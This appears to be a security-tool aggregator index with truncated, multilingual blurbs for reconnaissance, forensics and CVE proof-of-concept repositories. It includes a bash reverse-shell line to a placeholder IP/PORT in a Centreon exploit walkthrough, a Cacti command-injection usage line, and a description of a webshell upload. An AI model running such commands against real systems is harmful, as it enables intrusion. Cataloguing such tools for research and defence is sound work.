openhaystack

OpenHaystack OpenHaystack is a framework for tracking personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking tags that you can append to physical objects keyrings, backpacks, ... or integrate it into other Bluetooth-capable devices such as notebooks...

puncia

PantheraP.uncia Official CLI utility for Subdomain Center & Exploit Observer Puncia is the official command-line client for two A.R.P. Syndicate intelligence APIs — point it at a domain, a brand, or a vulnerability ID and get structured JSON back in seconds, no browser required: 🕸️ Subdomain Cente...

dnsx

Un toolkit DNS rapide et polyvalent conçu pour exécuter des requêtes DNS Fonctionnalités • Installation • Utilisation • Exécuter dnsx • Wildcard • Remarques • Rejoindre Discord dnsx est un toolkit DNS rapide et polyvalent conçu pour exécuter diverses sondes via la bibliothèque retryabledns. Il...

alibi-detect

Alibi Detect — это библиотека Python с доступным исходным кодом, focused on обнаружение выбросов , состязательных атак и дрейфа. Пакет направлен на покрытие как онлайн-, так и офлайн-детекторов для табличных данных, текста, изображений и временных рядов. Для обнаружения дрейфа поддерживаются...

smbmap

SMBMap SMBMap permet aux utilisateurs d'énumérer les lecteurs partagés Samba sur l'ensemble d'un domaine. Lister les lecteurs partagés, les permissions, les contenus des partages, la fonctionnalité de téléchargement/téléversement, la correspondance de motifs pour le téléchargement automatique de...

awesome-dfir-skills

🔥 awesome-dfir-skills Коллекция навыков DFIR/реагирования на инциденты, созданная сообществом: переиспользуемые промпты, рабочие процессы и вспомогательные файлы, которые помогают специалистам работать быстрее, сохранять единообразие и, может быть — может быть — высыпаться. 🚀 Быстрый старт 1...

pysap

pysap - Python library for crafting SAP's network protocols packets Version 0.2.1.dev0 in dev Overview SAP Netweaver and SAP HANA are technology platforms for building and integrating SAP business applications. Communication between components uses different network protocols and some services an...

cook

COOK Un générateur de wordlist surpuissant, capable de diviser, fusionner, rechercher, sauvegarder, créer des permutations et combinaisons de mots, appliquer différents encodages/décodages et tout ce dont vous avez besoin. Tueur de frustration ! & Personnalisable ! Index Installation Configuratio...

cutter

Cutter Cutter — это бесплатная платформа для реверс-инжиниринга с открытым исходным кодом, основанная на rizin. Она стремится быть продвинутой и настраиваемой платформой для реверс-инжиниринга, не забывая о пользовательском опыте. Cutter создана реверс-инженерами для реверс-инженеров. Узнайте...

nuclei-CiscoRV320Dump-CVE-2019-1653

Cisco Router Configuration Exposure Vulnerability Описание уязвимости Этот репозиторий описывает процесс эксплуатации уязвимости в некоторых маршрутизаторах Cisco, которая позволяет получить доступ к файлу конфигурации config.exp через общедоступный URL. Этот файл может содержать конфиденциальную...

darkdump

darkdump À propos Darkdump est un outil OSINT open-source pour l'investigation sur le dark web. À partir d'une requête de recherche, il récupère des résultats de plusieurs moteurs de recherche du dark web, scrape optionnellement chaque site de résultat pour les e-mails, métadonnées, mots-clés,...

CVE-2022-30190

CVE-2022-30190 Этот репозиторий рассказывает об уязвимости Follina MSDT с точки зрения защитника Содержание Об уязвимости Хронология Понимание эксплойта Список IOCs Стратегия обнаружения Тестирование и исследования Планы по смягчению Ссылки Об уязвимости Ошибка представляет собой уязвимость...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous に移動します。 続いて、下の画像のように Add をクリックします。 それでは bash リバースシェル を Miscellaneous コマンドとして作成します。 root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 そして Save をクリックします。 次に Configuration Pollers に移動し、現在の Central ポーラーをクリックします。 これにより、Modify a poller Configurati...

CVE-2024-22939

target:https://github.com/sunkaifei/FlyCms версия: v1.0 FlyCms v1.0 был обнаружен с уязвимостью Cross-Site Request Forgery CSRF через компонент /system/article/categoryedit Poc root@kitploit: history.pushState'', '', '/' Успешно:...

sitedorks

Vous voulez recevoir les dernières mises à jour ? N'oubliez pas de ⭐ ce dépôt ! ⭐ Maintenant aussi disponible, Sitedorks Web ⭐ À propos de SiteDorks Recherchez sur Google, Bing, Brave, Ecosia, Yahoo ou Yandex un terme de recherche avec plusieurs sites web. Une liste par défaut est déjà fournie,...

PyExfil

PyExfil Tests de détection et créativité PyExfil est né comme une preuve de concept PoC et une sorte de terrain de jeu, puis a grandi pour devenir quelque chose d'un peu plus. À mes yeux, c'est toujours un PoC désordonné qui a besoin de beaucoup plus de travail et de tests pour devenir stable. Le...

awesome-censys-queries

Awesome Censys Queries Une collection de requêtes Censys Search fascinantes et étranges. Contribuer Vous avez trouvé une requête géniale ? Soumettez-la ici Intéressée à contribuer d'une autre manière ? Voir les directives de contribution Ressources Censys Search CensysGPT Beta - Requêtes Générées...

CVE-2024-29895-CactiRCE-PoC

Cacti RCE - CVE-2024-29895 Использование: python3 cve-2024-29895.py -u https://target.com/ -c id Затрагивает версии Cacti 1.3.X в DEV-сборках, где присутствует cmdrealtime.php и включён POLLERID. Внедрение команд возможно через эту конечную точку путём GET-запроса с полезной нагрузкой в виде HTML...

CVE-2022-40471

CVE-2022-40471 Clinic's Patient Management System v 1.0의 무제한 파일 업로드 취약점을 통한 원격 코드 실행 기술 설명: Clinic's Patient Management System v 1.0의 원격 코드 실행 취약점으로 인해 공격자는 users.php의 프로필 사진 업로드 기능을 통해 임의의 PHP 웹쉘을 업로드할 수 있습니다. 영향을 받는 구성 요소 - 소스 코드 다음 소스 코드에서 개발자가 특정 확장자를 제한하지 않고 모든 미디어 파일을 직접 업로드하도록 허용하는 것을 볼 수...

dnspeep

dnspeep dnspeep vous permet d'espionner les requêtes DNS que votre ordinateur effectue. Voici un exemple de sortie : root@kitploit: $ sudo dnspeep query name server IP response A incoming.telemetry.mozilla.org 192.168.1.1 CNAME: telemetry-incoming.r53-2.services.mozilla.com, CNAME:...